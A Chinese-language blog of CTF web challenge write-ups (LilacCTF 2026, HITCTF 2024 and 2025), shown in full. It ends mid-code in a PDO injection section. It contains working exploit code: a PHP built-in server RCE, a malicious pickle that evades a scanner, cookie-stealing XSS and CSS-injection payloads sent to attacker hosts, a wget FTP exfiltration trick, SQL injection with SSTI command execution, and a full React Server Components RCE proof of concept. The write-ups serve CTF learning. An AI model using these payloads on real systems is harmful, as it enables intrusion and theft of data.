Xss on Freedom

lilacctf 2026 web wp

Wed, 28 Jan 2026 21:14:15 +0800

keep(solved)

这题感觉出的很巧妙

0x01 源码泄露

上来很明显是php<=7.4.21源码泄露漏洞，直接抄poc发现复现不了，这题目把不带文件后缀的路由都解析到index.php上去了，所以发第二个请求的时候应该带上后缀。

import socket

host = ""
port = 

request = (
    "GET /index.php HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
    "GET /freedom.js HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
).encode("ascii")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((host, port))
s.sendall(request)

chunks = []
while True:
    try:
        buf = s.recv(4096)
        if not buf:
            break
        chunks.append(buf)
    except socket.timeout:
        break

s.close()

resp = b"".join(chunks)
print(resp.decode("utf-8", errors="replace"))
# /s3Cr37_f1L3.php.bak

0x02 解析问题

发现没有s3Cr37_f1L3.php，卡了半天，后来fuzz了半天有了新发现

request = (
    "GET /s3Cr37_f1L3.php.bak HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
    "GET /s3Cr37_f1L3.php HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
)

发送这样的请求居然返回200，改成post试试发现出了，最开始以为是走私呢，后来去翻源码找到了原因：

// https://github.com/php/php-src/blob/PHP-7.4.21/sapi/cli/php_cli_server.c#L2228
static int php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) /* {{{ */
{
	int is_static_file  = 0;
	const char *ext = client->request.ext;

	SG(server_context) = client;
	if (client->request.ext_len != 3
	 || (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P')
	 || !client->request.path_translated) {
		is_static_file = 1;
	}

	if (server->router || !is_static_file) {
		if (FAILURE == php_cli_server_request_startup(server, client)) {
			SG(server_context) = NULL;
			php_cli_server_close_connection(server, client);
			destroy_request_info(&SG(request_info));
			return SUCCESS;
		}
	}

	if (server->router) {
		if (!php_cli_server_dispatch_router(server, client)) {
			php_cli_server_request_shutdown(server, client);
			return SUCCESS;
		}
	}

	if (!is_static_file) {
		if (SUCCESS == php_cli_server_dispatch_script(server, client)
				|| SUCCESS != php_cli_server_send_error_page(server, client, 500)) {
			if (SG(sapi_headers).http_response_code == 304) {
				SG(sapi_headers).send_default_content_type = 0;
			}
			php_cli_server_request_shutdown(server, client);
			return SUCCESS;
		}
	} else {
		if (server->router) {
			static int (*send_header_func)(sapi_headers_struct *);
			send_header_func = sapi_module.send_headers;
			/* do not generate default content type header */
			SG(sapi_headers).send_default_content_type = 0;
			/* we don't want headers to be sent */
			sapi_module.send_headers = sapi_cli_server_discard_headers;
			php_request_shutdown(0);
			sapi_module.send_headers = send_header_func;
			SG(sapi_headers).send_default_content_type = 1;
			SG(rfc1867_uploaded_files) = NULL;
		}
		if (SUCCESS != php_cli_server_begin_send_static(server, client)) {
			php_cli_server_close_connection(server, client);
		}
		SG(server_context) = NULL;
		return SUCCESS;
	}

	SG(server_context) = NULL;
	destroy_request_info(&SG(request_info));
	return SUCCESS;
}

PHP Built-in Server 使用基于回调的事件驱动 HTTP 解析器php_http_parser，在一次php_http_parser_execute()调用中解析多个连续 HTTP 请求，不同请求的回调复用同一个php_cli_server_request结构体，回调函数直接覆盖字段，但没有做完整的状态隔离 / 边界校验。

扩展名长度不是 3||扩展名不是 php（大小写）||path_translated 不存在（通常表示请求路径能正确映射到本地文件路径），命中一个就会被视为静态文件，也就是源码泄露那个漏洞。
反过来，第一个请求提供：path_translated（真实存在的文件路径，如 shell.bak），第二个请求 提供：ext = "php"（从 URL 提取的扩展名）由于文件不存在，不会更新 path_translated，会被视为php脚本执行。也就是说：任意存在的三字符后缀文件（.jpg .png .gif .zip .rar .wav .bak …）可以在按照这种请求序列被PHP解释器当作.php脚本执行。

exp:

import socket

host = ""
port = 
cmd = "admin=system('cat /flag*');"
cmd_len = len(cmd)

request = (
    "GET /s3Cr37_f1L3.php.bak HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Connection: close\r\n"
    "\r\n"
    "POST /1.php HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {cmd_len}\r\n"
    "Connection: close\r\n"
    "\r\n"
    f"{cmd}\r\n"
).encode("ascii")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((host, port))
s.sendall(request)

chunks = []
while True:
    try:
        buf = s.recv(4096)
        if not buf:
            break
        chunks.append(buf)
    except socket.timeout:
        break

s.close()

resp = b"".join(chunks)
print(resp.decode("utf-8", errors="replace"))

checkin(solved)

给ai大人跪了

/backup.zip有源码，略微调整了一下：

# Python 3.14.2
import re
from collections import UserList

class LockedList(UserList):
    def __setitem__(self, key, value):
        raise Exception("Assignment blocked!")

def sandbox_loop():
    while True:
        try:
            user_input = input(">>> ").strip()
            if not user_input:
                continue
            if user_input.lower() in ("exit", "quit"):
                print("Bye~")
                break

            status = LockedList([False])
            status_id = id(status)

            user_input = user_input.encode('idna').decode('ascii').rstrip('-')

            if re.search(r'[0-9A-Z]', user_input):
                print("FORBIDDEN: No numbers or alphas")
                continue

            if re.search(r'[_\s=+\[\],"\'\<\>\-\*@#$%^&\\\|\{\}\:;]', user_input):
                print("FORBIDDEN: Incorrect symbol detected")
                continue

            if re.search(
                r'(status|flag|update|setattr|getattr|eval|exec|import|locals|os|sys|'
                r'builtins|open|or|and|not|is|breakpoint|exit|print|quit|help|input|globals)',
                user_input.casefold()
            ):
                print("FORBIDDEN: Keywords detected")
                continue

            if len(user_input) > 60:
                print("FORBIDDEN: Input too long! Keep it concise and it is very simple.")
                continue

            eval(user_input)

            if status[0] and id(status) == status_id:
                try:
                    with open('/flag', 'r') as f:
                        flag = f.read().strip()
                        print(f"SUCCESS! Flag: {flag}")
                except Exception:
                    print("SUCCESS! (flag file not found in this environment)")
            else:
                print(f"FAILURE: status is still {status}")

        except Exception:
            print("Don't be evil~ And I won't show you this error :)")

if __name__ == "__main__":
    sandbox_loop()

ai神力

沙箱逃逸一把梭

Nailong

原来不用训练模型啊

https://github.com/mmaitre314/picklescan/security/advisories/GHSA-mjqp-26hc-grxg

大致意思就是当 ZIP 压缩包里存在 CRC 校验错误的文件时，PickleScan 就停止扫描了。

下载对应的版本

`1`	`pip install picklescan == 0.0.30`

写了一个差不多的版本用来验证

import subprocess, sys
import torch
import torch.nn as nn
from torchvision import models
import re

def scan_with_picklescan(model_path: str) -> None:
    cmd = ["picklescan", "--path", model_path]
    r = subprocess.run(cmd, capture_output=True, text=True)
    out = (r.stdout or "") + (r.stderr or "")

    low = out.lower()
    if r.returncode != 0:
        raise RuntimeError(f"picklescan 扫描失败(非0退出)，拒绝加载:\n{out}")

    m_infected = re.search(r'infected files:\s*(\d+)', low)
    if not m_infected:
        raise RuntimeError(
            f"无法解析 Infected files（输出异常），拒绝加载:\n{out}"
        )
    infected = int(m_infected.group(1))
    if infected != 0:
        raise RuntimeError(
            f"picklescan 检测到感染文件 (Infected files={infected})，拒绝加载:\n{out}"
        )

    m_danger = re.search(r'dangerous globals:\s*(\d+)', low)
    if not m_danger:
        raise RuntimeError(
            f"无法解析 Dangerous globals（输出异常），拒绝加载:\n{out}"
        )
    dangerous = int(m_danger.group(1))
    if dangerous != 0:
        raise RuntimeError(
            f"picklescan 检测到危险全局对象 (Dangerous globals={dangerous})，拒绝加载:\n{out}"
        )

def load_resnet50_nailong(model_path: str):
    scan_with_picklescan(model_path)

    model = models.resnet50(weights=None)
    num_features = model.fc.in_features
    model.fc = nn.Linear(num_features, 2)

    state = torch.load(model_path, map_location="cpu", weights_only=False)
    model.load_state_dict(state)
    model.eval()
    return model

load_resnet50_nailong("./InjectModel2x.pt")

exp:

import torch
import zipfile

class exp(object):
    def __reduce__(self):
        return (exec, ("os.system('calc')", ))

filename = 'InjectModel2.pt'

torch.save(exp(), filename)

with zipfile.ZipFile(filename, 'r') as zf:
    crc = zf.infolist()[0].CRC

with open(filename, 'rb') as f:
    data = f.read()
    evil_data = data.replace(crc.to_bytes(4, 'little'), b'\x00\x00\x00\x00')

save_filename = 'InjectModel2x.pt'

with open(save_filename, 'wb') as f:
    f.write(evil_data)

Path

黑盒没看

题目描述：

PATH MAZE  
Win32 → NT Path Conversion Challenge  

Stage 1: Diagnostic Access  
GET /api/diag/read  
Read diagnostic files from the local system.  

Parameters:  
path - File path to read  

Stage 2: Export Access  
GET /api/export/read  
Read exported backup files. Requires valid access token.  

Parameters:  
path - File path to read  
token - Access token obtained from Stage 1  

System Information  
GET /api/info  
Get basic system information and hints.  

Path Maze CTF Challenge | Good luck! 🚀

访问/api/info

{
  "data": {
    "challenge": "Path Maze",
    "hints": [
      "Stage 1: Find and read the access token from the system",
      "Stage 2: Use the token to access the backup server",
      "Token location: C:\\token\\access_key.txt",
      "Backup server: 172.20.0.10",
      "Backup server SMB Share name: backup",
      "Flag file: flag.txt"
    ],
    "stages": 2,
    "version": "1.0.0"
  },
  "success": true
}

直接 C:\token\access_key.txt 被过滤，改成 NT 直通前缀绕过 Win32 正常解析： \\?\C:\token\access_key.txt
UNC 被过滤，所以不用 \server\share...，改成 NT 设备路径：\\?\GLOBALROOT\Device\Mup\172.20.0.10\backup\flag.txt，利用 GLOBALROOT + Device\Mup 直接访问 SMB 共享路径，绕过 UNC 过滤。~~感觉这题拷打ai也能出~~

Playground

黑盒依旧没看

官方文件里没放frontend/src/lib/utils.ts，让ai帮我补全了

import { clsx, type ClassValue } from "clsx"
import { twMerge } from "tailwind-merge"

type OutputHandler = (text: string) => void

const allowedModules = new Set([
  "sys",
  "math",
  "random",
  "time",
  "re",
  "json",
])

function isAllowedStdlibPath(path: string) {
  if (!path.startsWith("src/lib/")) {
    return false
  }

  const rest = path.slice("src/lib/".length)
  const root = rest.split("/")[0]
  const moduleName = root.replace(/\.(py|js)$/, "")
  return allowedModules.has(moduleName)
}

function getSkulpt() {
  if (typeof window === "undefined" || !window.Sk) {
    throw new Error("Skulpt is not loaded")
  }
  return window.Sk
}

export function cn(...inputs: ClassValue[]) {
  return twMerge(clsx(inputs))
}

export async function runCode(code: string, onOutput: OutputHandler) {
  const Sk = getSkulpt()

  Sk.builtins.jseval = undefined

  Sk.configure({
    output: (text: string) => {
      onOutput(text)
    },
    read: (path: string) => {
      if (!Sk.builtinFiles || !Sk.builtinFiles.files) {
        throw new Error("Skulpt stdlib is not available")
      }

      if (!isAllowedStdlibPath(path)) {
        throw new Error(`Import blocked: ${path}`)
      }

      const file = Sk.builtinFiles.files[path]
      if (typeof file !== "string") {
        throw new Error(`Stdlib file missing: ${path}`)
      }

      return file
    },
  })

  try {
    await Sk.misceval.asyncToPromise(() =>
      Sk.importMainWithBody("<stdin>", false, code, true)
    )
  } catch (error) {
    const message = error instanceof Error ? error.message : String(error)
    throw new Error(message)
  }
}

export async function shareWithBot(code: string) {
  try {
    const response = await fetch("/api/share", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({ code }),
    })

    const text = await response.text()
    if (!response.ok) {
      alert(text || "Failed to share with bot")
      return
    }

    alert(text)
  } catch (error) {
    const message = error instanceof Error ? error.message : String(error)
    alert(message)
  }
}

大致原理：

Skulpt 会把 python 编译成 js，再用 eval 执行，禁用了 jseval，并限制 import 只能读“标准库”，避免直接执行任意 JS。
正常的字符串常量会先变成 Sk.builtin.str(…)，不会注入，但 compile(source, filename, mode) 的 filename 参数没有走这套处理，直接进入 JS 模板拼接（例如异常处理里：filename:’…’+ this.filename + ‘…’）
编译后运行时，抛异常会进入 “异常打印/traceback 处理” 的 JS 代码路径，在这个路径里会把 filename 拼进 JS 对象文本，从而执行你注入的 JS。

# 官方
filename = "' + fetch(`http://ip/?${btoa(document.cookie) || 'none'}`) + '"
code = compile("raise Exception('trigger')", filename, "exec")
exec(code)

# 星盟
evil = compile(
    "1/0",
    "'+(fetch(\"http://ip/?c=\"+encodeURIComponent(document.cookie)),'')+'",
    "exec"
)
exec(evil)

share with bot即可

safesql

黑盒还是没看

ai写的

这是一个 autovacuum 在 BRIN summarize 路径中未做权限切换，导致索引表达式函数以postgres身份执行，从而实现本地数据库超级用户提权的漏洞（CVE-2022-1552）。

在 PostgreSQL 12.10 中，autovacuum 在完成常规表清理后，会继续遍历 AutoVacuumShmem->av_workItems，并对其中尚未处理的工作项调用 perform_work_item()。在该版本里，实际能够被触发的工作项类型只有 AVW_BRINSummarizeRange，其处理逻辑是直接调用 brin_summarize_range(relation, blockNumber)。这一调用发生在 autovacuum worker 进程中，而 brin_summarize_range 本身并没有进行任何权限上下文切换，导致整个执行过程始终处于 postgres 超级用户的权限环境下，这构成了漏洞产生的前提条件。

BRIN summarize 的核心职责是重新计算索引的摘要信息，在这一过程中，PostgreSQL 会调用定义在 BRIN 索引上的表达式函数。该表达式函数本质上是用户自定义函数，如果在索引创建完成后将其替换为包含任意逻辑的实现（例如调用 attack_func()），那么在 BRIN summarize 过程中，这段用户可控逻辑就会被执行。由于 summarize 是由 autovacuum worker 触发且未切换权限，上述函数调用会直接以 postgres 的身份运行，从而形成权限提升的利用点。

SQL 利用流程的关键在于先满足系统对索引合法性的检查，再在后续阶段注入攻击逻辑。具体而言，先创建一张普通表并基于其创建一个 autosummarize=ON 的 BRIN 索引，索引表达式函数最初被声明为 IMMUTABLE，以通过索引创建时的安全与一致性校验。索引创建完成后，再将该函数替换为包含攻击逻辑的版本。随后通过大量 INSERT 操作触发 BRIN summarize 对应的 autovacuum 工作项，最终在 autovacuum 执行 brin_summarize_range() 时调用被篡改的表达式函数，使 attack_func() 以内置 postgres 权限执行，并在其中完成诸如 ALTER USER test SUPERUSER 的提权操作。

该利用链不依赖于制造 dead tuples 或真正触发一次完整的 vacuum 过程，而仅依赖 BRIN summarize 工作项的生成与执行。由于 BRIN summarize 的触发条件主要与 autosummarize 配置和插入数据量相关，只要能够产生对应的 work item，就足以进入漏洞路径。因此，表的创建、索引的建立以及大量数据插入都可以在同一个事务中完成，无需等待 autovacuum 处理传统意义上的表膨胀或垃圾数据，这也使得整个利用过程更加稳定和直接。

看不懂喵，只会一把梭

参考链接

官方wp

星盟

0xfff

Hitctf 2024&2025 web wp

Tue, 09 Dec 2025 19:46:01 +0800

2024

mathex

cve-2023-51887

Fuzzing mathtex - Yulun/blog

mathex<=1.05时表达式以\which{;}格式传入可以绕过过滤实现命令执行

if (getdirective(expression, "\\which", 1, 0, 1, argstring) != NULL) {
    int ispermitted = 1;
    int nlocate = 1;
    char *path = NULL;
    char whichmsg[512];
    trimwhite(argstring);
    if (isempty(argstring))
      ispermitted = 0;                            /* arg is an empty string */
    else {                                        /* have non-empty argstring */
      int arglen = strlen(argstring);             /* #chars in argstring */
      if (strcspn(argstring, WHITESPACE) < arglen /* embedded whitespace */
          || strcspn(argstring, "{}[]()<>") < arglen  /* illegal char */
          || strcspn(argstring, "|/\"\'\\") < arglen  /* illegal char */
          || strcspn(argstring, "`!@%&*+=^") < arglen /* illegal char */
      )
        ispermitted = 0;
    }
    if (ispermitted) {
      path = whichpath(argstring, &nlocate);    // <- popen("which {argstring}")
      sprintf(whichmsg,
              "%s(%s) = %s", (path == NULL || nlocate < 1 ? "which" : "locate"),
              argstring, (path != NULL ? path : "not found"));
    } 
    // ...
}

没有源代码就简单搭了一个环境(~~也是老古董了还在用cgi~~)

`1`	`/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;ls}`

wget

又是一个cve:cve-2024-10524

先看看源码

from flask import Flask, request, render_template, jsonify 
import subprocess 
import os 
import base64 
app = Flask(__name__) 
FLAG = os.getenv("FLAG", "flag{}") 
flag_base64 = base64.urlsafe_b64encode(FLAG.encode()).decode() 
print(f"FLAG: {flag_base64}")
@app.route("/") 
def index(): 
    with open(__file__, "r") as file: 
        source_code = file.read() 
        return source_code 
         
@app.route("/execute", methods=["POST"]) 
def execute(): 
    auth = request.form.get("auth") 
    if not auth: 
		    return jsonify({"error": "auth is required"}), 401 
    if any(char in "`!@#$%&*()-=+;.[]{}<>\\|;'\"?/" for char in auth): 
        return jsonify({"error": "Hacker!"}), 400 
    try: 
        command = ["wget", f"{auth}@127.0.0.1:5000/{flag_base64}"] 
        subprocess.run(command, check=True) 
        return jsonify({"message": "Command executed successfully"}) 
    except Exception as e: 
        return jsonify({"error": "Command failed"}), 500 

if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)

找到一篇文章CVE-2024-10524 Wget Zero Day Vulnerability

主要是利用wget的解析差，如果尝试wget aaa:bbb@ccc，wget会自动将其解释为ftp://aaa/bbb@ccc（其中bbb@ccc会被识别为一个目录名），那么我们就可以利用ftp的匿名登录来进行外带。

我这里没有用常见的ftp，而是使用了python的一个库来模拟ftp。

`1`	`pip install pyftpdlib`

因为bbb@ccc会被识别为目录，所以我们要提前创建一个aaaaaa@127.0.0.1:5000目录，在服务器上我们还需要开启对应的端口（我这里用的默认21）和ftp被动模式的端口。

做完这些我们就可以启动ftp服务了

`1`	`python -m pyftpdlib -p 21 -D`

发送payload

1
2

POST /execute
auth=[数字ip]:aaaaaa //这里过滤了点，我们使用数字ip

静静等待连接即可

参考文章：

HITCTF2024 Writeup - Turker’s

HITCTF2024 wget wp-先知社区

2025

logServer

先看源码

from flask import Flask, request, jsonify, render_template_string
import sqlite3
import random


def gen_secret():
    secret_int = random.getrandbits(96)
    secret_bits = secret_int.to_bytes((secret_int.bit_length() + 7) // 8, byteorder='big')
    return secret_bits.hex()


app = Flask(__name__)
conn = sqlite3.connect("database.db", isolation_level=None, check_same_thread=False)
conn.execute("""
    CREATE TABLE IF NOT EXISTS logs (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        message TEXT NOT NULL
    )
""")
conn.execute("""
    CREATE TABLE IF NOT EXISTS secret (
        secret TEXT NOT NULL
    )
""")
conn.execute(f"INSERT INTO secret VALUES ('{gen_secret()}')")


@app.route("/")
def health_check():
    return jsonify({"status": "ok"}), 200


@app.route("/log", methods=["POST"])
def log_message():
    data = request.get_json()
    message = data.get("message")
    if not message:
        return jsonify({"success": False, "error": "Message is required"}), 400

    try:
        conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
        return jsonify({"success": True}), 200
    except Exception as e:
        return jsonify({"success": False, "error": str(e)}), 500


@app.route("/backdoor", methods=["POST"])
def backdoor():
    data = request.get_json()
    secret = data.get("secret")
    code = data.get("code")

    if not secret or not code:
        return jsonify(
            {"success": False, "error": "Secret and code are required"}
        ), 400

    stored_secret = conn.execute("SELECT secret FROM secret").fetchone()[0]
    if secret != stored_secret:
        return jsonify({"success": False, "error": "Invalid secret"}), 403

    res = render_template_string(code)
    return jsonify({"success": True, "result": res}), 200


@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

0x01 sqlite注入

/log存在明显的sql注入

`1`	`conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")`

不过它使用的是INSERT ，没法直接用联合查询，拷打的gemini告诉我可以使用报错注入来泄露secret

`1`	`' \|\| json_extract('{"a":1}', (SELECT secret FROM secret)) \|\| '`

`1`	`' \|\| fts3_tokenizer((SELECT secret FROM secret)) \|\| ' -- 也可以`

0x02 伪随机预测

/backdoor很明显的无过滤ssti，前提是secret验证通过。本题最大的难点来了

@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response

每次请求都会更新secret，刚开始想打条件竞争来着，但未成功，于是想到了伪随机，收集足够的随机数样本来预测secret。

`1`	`pip install randcrack`

综上本题的总体思路为：利用sqlIte注入泄露secret=>重复收集泄露的secret=>预测secret=>ssti

你可以使用python的库来预测，我这里没用

exp如下：

import requests
import re
from z3 import *

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

def untemper(y_val):
    y = BitVec('y', 32)
    y1 = y ^ LShR(y, 11)
    y2 = y1 ^ ((y1 << 7) & 0x9d2c5680)
    y3 = y2 ^ ((y2 << 15) & 0xefc60000)
    y4 = y3 ^ LShR(y3, 18)
    s = Solver()
    s.add(y4 == y_val)
    if s.check() == sat:
        return s.model()[y].as_long()
    return 0

def temper(y):
    y ^= (y >> 11)
    y ^= ((y << 7) & 0x9d2c5680)
    y ^= ((y << 15) & 0xefc60000)
    y ^= (y >> 18)
    return y

def twist(state):
    for i in range(N):
        y = (state[i] & UPPER_MASK) | (state[(i + 1) % N] & LOWER_MASK)
        state[i] = state[(i + M) % N] ^ (y >> 1) ^ ((y & 1) * MATRIX_A)
    return state

URL = "http://xxx/log"
BACKDOOR_URL = "http://xxx/backdoor"

def get_secret():
    payload = "' || json_extract('{\"a\":1}', (SELECT secret FROM secret)) || '"
    try:
        r = requests.post(URL, json={"message": payload})
        if "JSON path error near" in r.text:
            match = re.search(r"JSON path error near '([0-9a-f]+)'", r.text)
            if match:
                return match.group(1)
    except:
        return None
    return None

def main():
    secrets = []
    for i in range(210):
        s_hex = get_secret()
        if not s_hex:
            return
        s_int = int(s_hex, 16)
        a = s_int & 0xFFFFFFFF
        b = (s_int >> 32) & 0xFFFFFFFF
        c = (s_int >> 64) & 0xFFFFFFFF
        secrets.append(a)
        secrets.append(b)
        secrets.append(c)
    
    state = [untemper(y) for y in secrets[:624]]
    next_state = twist(state)
    
    payloads = [
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la /').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read() }}"
    ]
    
    current_idx = 6
    for code in payloads:
        next_words = []
        for k in range(3):
            y = next_state[current_idx + k]
            y = temper(y)
            next_words.append(y)
        a, b, c = next_words
        next_secret_int = a | (b << 32) | (c << 64)
        next_secret_hex = next_secret_int.to_bytes(12, 'big').hex()
        
        r = requests.post(BACKDOOR_URL, json={"secret": next_secret_hex, "code": code})
        print(f"Secret: {next_secret_hex}")
        print(f"Status: {r.status_code}")
        print(f"Response: {r.text}")
        
        current_idx += 3
        if current_idx + 3 >= N:
            next_state = twist(next_state)
            current_idx = 0

if __name__ == "__main__":
    main()

Freestyle

本来是个xss题目，结果被无条件rce的cve非预期了

0x01 源码分析

跟上题差不多的逻辑，token通过验证后就会给flag

// /app/api/flag/route.ts
import { type NextRequest, NextResponse } from "next/server";
import { validateToken } from "@/lib/token-store";

export async function GET(request: NextRequest) {
  const searchParams = request.nextUrl.searchParams;
  const token = searchParams.get("token");

  if (!token) {
    return NextResponse.json({ error: "Missing token" }, { status: 400 });
  }

  if (validateToken(token)) {
    return NextResponse.json({
      flag: "flag{redacted_flag}",
    });
  } else {
    return NextResponse.json({ error: "Invalid token" }, { status: 403 });
  }
}

而token的生成来自以下文件

// /lib/token-store.ts
declare global {
  var CTF_CHALLENGE_TOKEN: string | undefined;
  var CTF_CHALLENGE_LOCKED: boolean | undefined;
}

export function generateToken(): string {
  const token = Math.floor(Math.random() * 100).toString().padStart(2, '0');
  globalThis.CTF_CHALLENGE_TOKEN = token;
  globalThis.CTF_CHALLENGE_LOCKED = false;
  console.log(`[CTF] New token generated: ${token}`);
  return token;
}

export function getToken(): string {
  if (!globalThis.CTF_CHALLENGE_TOKEN) {
    return generateToken();
  }
  return globalThis.CTF_CHALLENGE_TOKEN;
}

export function validateToken(inputToken: string): boolean {
  if (globalThis.CTF_CHALLENGE_LOCKED) {
    return false;
  }

  const currentToken = getToken();
  if (inputToken === currentToken) {
    return true;
  }
  // Lock on failure
  globalThis.CTF_CHALLENGE_LOCKED = true;
  console.log(`[CTF] Challenge LOCKED due to invalid token attempt.`);
  return false;
}

每次开启靶机生成一个两位数的token，并且输入一次错误就会永久锁定。

对于CardGenerator.tsx，重点关注一下几行

<div
    data-token={serverToken}
    className="w-full max-w-md aspect-[1.586/1] rounded-xl shadow-2xl overflow-hidden relative transition-all duration-300"
    style={previewStyle}
>

const previewStyle = {
	background: bgImage,
}
    
const [bgImage, setBgImage] = useState(
    searchParams.get("bg-image") ||
      "linear-gradient(var(--gradient-angle),var(--gradient-from),var(--gradient-to))",
);

bg-image参数是可控的，但只能进行css注入来泄露data-token。

0x02 非预期

最近react爆出来一个无条件rce的cve。

而这题的版本正好符合该cve的条件。

我这里使用内存马版本的exp

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "ip"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "ls"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182

rce就可以干任何事情了，flag就在代码里不过需要找到编译后的文件。

`1`	`grep -RIl "flag{" /app/`

还有一种优雅的方式，直接修改data-token，因为data-token是存在全局变量里面的，我们可以利用原型链访问到全局变量。

POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----React2ShellBoundaryCTF

------React2ShellBoundaryCTF
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"globalThis.CTF_CHALLENGE_TOKEN='42';globalThis.CTF_CHALLENGE_LOCKED=false;","_formData":{"get":"$1:constructor:constructor"}}}
------React2ShellBoundaryCTF
Content-Disposition: form-data; name="1"

"$@0"
------React2ShellBoundaryCTF--

参考：https://lunaticquasimodo.top/blog/hitctf-2025-web-freestyle-writeup

0x03 预期

https://portswigger.net/research/inline-style-exfiltration

poc：

<div style='
  --val: attr(data-username);
  --steal: if(style(--val:"alice"): url(http://127.0.0.1:8888));
  background: image-set(var(--steal));
' data-username="alice">Test</div>

payload:

1
2
3

bg-image=image-set(var(--steal))
&val=attr(data-token)
&steal=if(style(--val:"07"):url(http://ip/leak/07);else:url(http://ip/leak/no))

exp:

import urllib.parse
import urllib.request

base = "http://ip/leak/"
target = "http://ip"
expr = f'url({base}no)'
for i in reversed(range(100)):
  t = f"{i:02d}"
  expr = f'if(style(--val:"{t}"):url({base}{t});else:{expr})'

payload = "/api/bot?bg-image=image-set(var(--steal))&val=attr(data-token)&steal=" + urllib.parse.quote(expr, safe="")
# print(payload)

url = target.rstrip("/") + payload
urllib.request.urlopen(url, timeout=5)

Impossible SQL

这题差点给我绕晕了

0x01 源码分析

先看源码

//index.php
<?php
error_reporting(0);
require_once 'init.php';

function safe_str($str) {
    if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) {
        return false; 
    }
    return true;
}

if (!isset($_GET['info']) || !isset($_GET['key'])) {
    HIGHLIGHT_FILE(__FILE__);
    die('');
}

$info = str_replace('`', '``', base64_decode($_GET['info']));
$key = base64_decode($_GET['key']);

if (!safe_str($info) || !safe_str($key)) {
    die('Invalid input');
}

$sql = "SELECT `$info` FROM users WHERE username = ?";

$stmt = $pdo->prepare($sql);
$stmt->execute([$key]);
print_r($stmt->fetchAll());
?>

//init.php
//远程还有关键字waf我本地没有加上
<?php

// 数据库配置
$host = '127.0.0.1';
$dbname = 'test';
$user = 'root';
$pass = 'root';

// 创建 PDO 连接
$dsn = "mysql:host=$host;dbname=$dbname;charset=utf8";

$pdo = new PDO($dsn, $user, $pass);

?>

base64_decode说明传入的参数是 Base64 编码过的

info：数据库字段名
key：用户名

str_replace(’`’, ‘``’, …)

将反引号 ```转成，转义无影响
防止利用反引号逃逸字段名（SQL 注入的一种）

safe_str过滤

空格、Tab、换行：[ \t\r\n]
SQL 注释：
- /*
- #
- -- （后面跟空格或换行）(不是匹配–而是匹配– 类似的形式）

过滤+预处理看起来无懈可击了

0x02 关键字WAF绕过

远程存在WAF（本地没加），拦截SELECT、UNION等关键字。利用php对base64的容错来绕过：在Base64字符串中插入空格，PHP的base64_decode()会自动忽略。

1
2

def split_b64(s):
    return " ".join(s)  # "dXNlcm5hbWU=" → "d X N l c m 5 h b W U ="

0x03 PDO绕过

参考这篇文章Novel SQL Injection Technique in PDO Prepared Statements

利用 PDO 的内部解析逻辑来实现注入，如果你向 info 参数传入一些特殊的字节（比如 ? + null 字节），PDO 的解析器错误 把这个 ? 当作一个新的 bind 参数，此时原本只有一个绑定参数，但 PDO 却认为存在多个，最终可以让你注入 SQL 代码片段。

int pdo_mysql_scanner(pdo_scanner_t *s)
{
	const char *cursor = s->cur;

	s->tok = cursor;
	/*!re2c
	BINDCHR		= [:][a-zA-Z0-9_]+;
	QUESTION	= [?];
